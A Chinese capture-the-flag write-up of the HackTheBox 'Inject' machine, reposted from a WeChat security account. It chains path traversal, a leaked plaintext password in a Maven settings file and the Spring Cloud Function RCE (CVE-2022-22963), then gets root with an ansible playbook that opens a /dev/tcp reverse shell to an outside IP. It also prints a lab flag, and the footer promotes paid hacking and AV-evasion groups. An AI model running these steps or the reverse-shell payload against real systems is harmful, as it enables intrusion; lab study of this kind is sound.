【干货】HTB 季度靶机

admin 2023年3月16日15:46:55评论77 views字数 4277阅读14分15秒阅读模式

HTB 季度靶机 - Inject (Easy, not so easy)

朋友们看看知识点就好,ansible playbook 第一次见,天生带个 PE 后门哦~

0x00

端口

【干货】HTB 季度靶机

【干货】HTB 季度靶机

难道说。。。

【干货】HTB 季度靶机

文件上传点 - AFR+目录遍历

【干货】HTB 季度靶机

上传完成后会返回访问地址,居然是参数化的:

最短的目录穿越是 ../../../../../../etc/passwd,六层。

/etc/passwd

【干货】HTB 季度靶机

root:x:0:0:root:/root:/bin/bash

proxy:x:13:13:proxy:/bin:/usr/sbin/nologin

www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin

tss:x:106:111:TPM software stack,,,:/var/lib/tpm:/bin/false
uuidd:x:107:112::/run/uuidd:/usr/sbin/nologin
tcpdump:x:108:113::/nonexistent:/usr/sbin/nologin
landscape:x:109:115::/var/lib/landscape:/usr/sbin/nologin
pollinate:x:110:1::/var/cache/pollinate:/bin/false
usbmux:x:111:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin
systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin

frank:x:1000:1000:frank:/home/frank:/bin/bash

phil:x:1001:1001::/home/phil:/bin/bash

fwupd-refresh:x:112:118:fwupd-refresh user,,,:/run/systemd:/usr/sbin/nologin

frank 和 phil 用户比较可疑。

经过尝试,网站的权限应该就是 www-data,无法访问两个用户家目录的文件。

信息收集

sshd 配置

phil 用户不允许 ssh 登录

【干货】HTB 季度靶机

/proc/self

cwd

【干货】HTB 季度靶机

exe - java 应用,那估计是 tomcat

【干货】HTB 季度靶机

root - 发现目录遍历

到这里我才发现有目录遍历。。。

【干货】HTB 季度靶机

【干货】HTB 季度靶机

【干货】HTB 季度靶机

应用本身就有目录遍历的功能?

【干货】HTB 季度靶机

【干货】HTB 季度靶机

没有直接读取的权限。

/home/frank/.m2/settings.xml - phil 的密码

【干货】HTB 季度靶机

Maven 配置文件 参考文档1



xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 https://maven.apache.org/xsd/maven-4.0.0.xsd">


Inject
phil
DocPhillovestoInject123
${user.home}/.ssh/id_dsa
660
660



遍历 Java 应用开发目录

/var/www - 源码目录

build 出来的 jar 包比较大,先不下载,目录遍历去找代码(应该不会很多)。

【干货】HTB 季度靶机

User.java

【干货】HTB 季度靶机

UserController.java

看来是要利用上传点来覆盖配置文件,那么第一想法就是给 frank 写公钥,但是有一些校验绕不过去(比如那个斜杠检查)。

【干货】HTB 季度靶机

pom.xml - 查看 Maven 依赖及其版本 - 找 CVE

【干货】HTB 季度靶机



xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 https://maven.apache.org/xsd/maven-4.0.0.xsd">
4.0.0

org.springframework.boot
spring-boot-starter-parent
2.6.5


com.example
WebApp
0.0.1-SNAPSHOT
WebApp
Demo project for Spring Boot

11



com.sun.activation
javax.activation
1.2.0



org.springframework.boot
spring-boot-starter-thymeleaf


org.springframework.boot
spring-boot-starter-web



org.springframework.boot
spring-boot-devtools
runtime
true



org.springframework.cloud
spring-cloud-function-web
3.2.2


org.springframework.boot
spring-boot-starter-test
test


org.webjars
bootstrap
5.1.3


org.webjars
webjars-locator-core






org.springframework.boot
spring-boot-maven-plugin
${parent.version}


spring-webapp


CVE-2022-22963 - spring cloud function rce

【干货】HTB 季度靶机

【干货】HTB 季度靶机

命令执行稍有困难

先上传脚本:

【干货】HTB 季度靶机

然后执行脚本:

【干货】HTB 季度靶机

【干货】HTB 季度靶机

登录 phil - user-flag

su

su 切换用户后,应该是终端分配的问题,终端的输出并没有显示出来。但是盲着执行命令,把 flag 写入文件是可以的。

【干货】HTB 季度靶机

【干货】HTB 季度靶机

998685ee5024787560ceeea8535e5618

同样的方式再执行一次 反弹 shell,弹到一个新端口:

【干货】HTB 季度靶机

提权: phil -> root

前面得到过 phil 的密码:DocPhillovestoInject123

export TERM=xterm

这个命令指示用来让反弹 shell 支持颜色显示(ANSI 转移序列),当然,也要注意本机终端是否支持(ansicon powershell)。

/usr/bin/script -qc /bin/bash /dev/null
export TERM=xterm

id 命令 - 注意用户所属组

phil 用户有一个额外的用户组:

【干货】HTB 季度靶机

查找属于 staff 用户组的文件,发现 /opt/automation/tasks,因为目录名存在“自动化”字眼:

find / -group staff 2>/dev/null

结果:

/opt/automation/tasks
/root
/var/local
/usr/local/lib/python3.8
/usr/local/lib/python3.8/dist-packages
/usr/local/lib/python3.8/dist-packages/ansible_parallel.py
/usr/local/lib/python3.8/dist-packages/ansible_parallel-2021.1.22.dist-info
/usr/local/lib/python3.8/dist-packages/ansible_parallel-2021.1.22.dist-info/LICENSE
/usr/local/lib/python3.8/dist-packages/ansible_parallel-2021.1.22.dist-info/RECORD
/usr/local/lib/python3.8/dist-packages/ansible_parallel-2021.1.22.dist-info/entry_points.txt
/usr/local/lib/python3.8/dist-packages/ansible_parallel-2021.1.22.dist-info/WHEEL
/usr/local/lib/python3.8/dist-packages/ansible_parallel-2021.1.22.dist-info/METADATA
/usr/local/lib/python3.8/dist-packages/ansible_parallel-2021.1.22.dist-info/top_level.txt
/usr/local/lib/python3.8/dist-packages/ansible_parallel-2021.1.22.dist-info/INSTALLER
/usr/local/lib/python3.8/dist-packages/__pycache__
/usr/local/lib/python3.8/dist-packages/__pycache__/ansible_parallel.cpython-38.pyc
/usr/local/share/fonts
/usr/local/share/fonts/.uuid

flag

该目录下存在一个 yaml 文件:

【干货】HTB 季度靶机

经搜索得知这是 ansible playbook,一种自动化任务,所以自行编写一个反弹 shell 的 playbook 并执行它:

---
- name: Update web servers
hosts: localhost
remote_user: root

tasks:
- name: aha
shell: bash -c 'exec bash -i &>/dev/tcp/10.10.14.16/8002 <&1'

ansible-playbook xxx.yml

phil 用户执行上述命令可以直接拿到 root 的 shell。

【干货】HTB 季度靶机

TODO为什么直接拿到 root 权限呢?

对该问题可以参考一些资料(我找了没看,麻烦看懂的人给我讲讲 xD):

https://docs.ansible.com/ansible/latest/playbook_guide/playbooks_privilege_escalation.html

如果你也想玩 HTB,那请加入我们吧,我们针对季度靶机有个小交流群。

【干货】HTB 季度靶机

1.文档

https://maven.apache.org/settings.html

付费圈子

欢 迎 加 入 星 球 !

代码审计+免杀+渗透学习资源+各种资料文档+各种工具+付费会员

【干货】HTB 季度靶机

进成员内部群

【干货】HTB 季度靶机

【干货】HTB 季度靶机
星球的最近主题和星球内部工具一些展示

【干货】HTB 季度靶机

【干货】HTB 季度靶机

【干货】HTB 季度靶机

【干货】HTB 季度靶机

【干货】HTB 季度靶机

【干货】HTB 季度靶机

【干货】HTB 季度靶机

【干货】HTB 季度靶机

【干货】HTB 季度靶机

关 注 有 礼

关注下方公众号回复“666”可以领取一套领取黑客成长秘籍

【干货】HTB 季度靶机 还在等什么?赶紧点击下方名片关注学习吧!
【干货】HTB 季度靶机

还在等什么?赶紧点击下方名片关注学习吧!
【干货】HTB 季度靶机

【干货】HTB 季度靶机

群聊 | 技术交流群-群除我佬

干货|史上最全一句话木马

干货 | CS绕过vultr特征检测修改算法

实战 | 用中国人写的红队服务器搞一次内网穿透练习

实战 | 渗透某培训平台经历

实战 | 一次曲折的钓鱼溯源反制

免责声明
由于传播、利用本公众号渗透安全团队所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,公众号渗透安全团队及作者不为承担任何责任,一旦造成后果请自行承担!如有侵权烦请告知,我们会立即删除并致歉。谢谢!
好文分享收藏赞一下最美点在看哦

原文始发于微信公众号(渗透安全团队):【干货】HTB 季度靶机

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年3月16日15:46:55
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   【干货】HTB 季度靶机https://cn-sec.com/archives/1608351.html

发表评论

匿名网友 填写信息